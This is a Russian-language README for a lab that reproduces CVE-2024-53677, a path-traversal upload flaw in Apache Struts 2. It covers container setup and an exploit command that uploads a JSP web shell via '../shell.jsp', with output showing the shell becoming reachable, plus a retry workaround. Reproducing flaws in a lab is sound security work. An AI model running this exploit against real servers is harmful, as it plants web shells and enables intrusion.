
Уязвимая среда и эксплойт для CVE-2024-53677
CVE-2024-53677 - Среда воспроизведения уязвимости удаленного выполнения кода (RCE) Apache Struts 2
Этот репозиторий предоставляет контейнерную среду для воспроизведения уязвимости CVE-2024-53677 в Apache Struts 2. Уязвимость связана с обходом пути (path traversal) и позволяет выполнять произвольный код (RCE) через функциональность загрузки файлов в Struts 2.
Среду можно собрать и запустить с помощью Podman. Выполните следующие шаги для настройки приложения:
git clone https://github.com/seanrickerd/CVE-2024-53677.git
cd CVE-2024-53677
podman build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
podman run -d -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
Запуск эксплойта:
pip install -r requirements.txt
python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files newshell.jsp --destination ../newshell.jsp
Существует периодическая проблема, когда файл загружается правильно, но становится недоступным. Чтобы обойти это, нужно добавить дополнительную точку в путь назначения, а затем повторно выполнить исходную команду.
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination .../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: .../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/.../shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[ALERT] File uploaded and accessible: http://localhost:8080/shell.jsp
Шелл будет доступен через браузер по адресу http://localhost:8080/shell.jsp
OpenShift по умолчанию безопасен, поэтому сначала нужно разрешить привилегированные контейнеры:
oc adm policy add-scc-to-group anyuid system:authenticated
Если вы хотите собрать образ самостоятельно, добавьте следующие строки в dockerfile:
COPY --from=0 /usr/src/cve/target/upload-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
Следующий yaml создаст пространство имен с именем "vulnerables" и развернет уязвимый контейнер как deployment с одной репликой, сервис и маршрут, позволяющие получить доступ к уязвимой рабочей нагрузке.
Если вы собрали образ самостоятельно, вам нужно изменить расположение образа в yaml на расположение вашего образа.
oc create -f ocp-struts.yaml
Маршрут можно найти в разделе Networking->Routes.
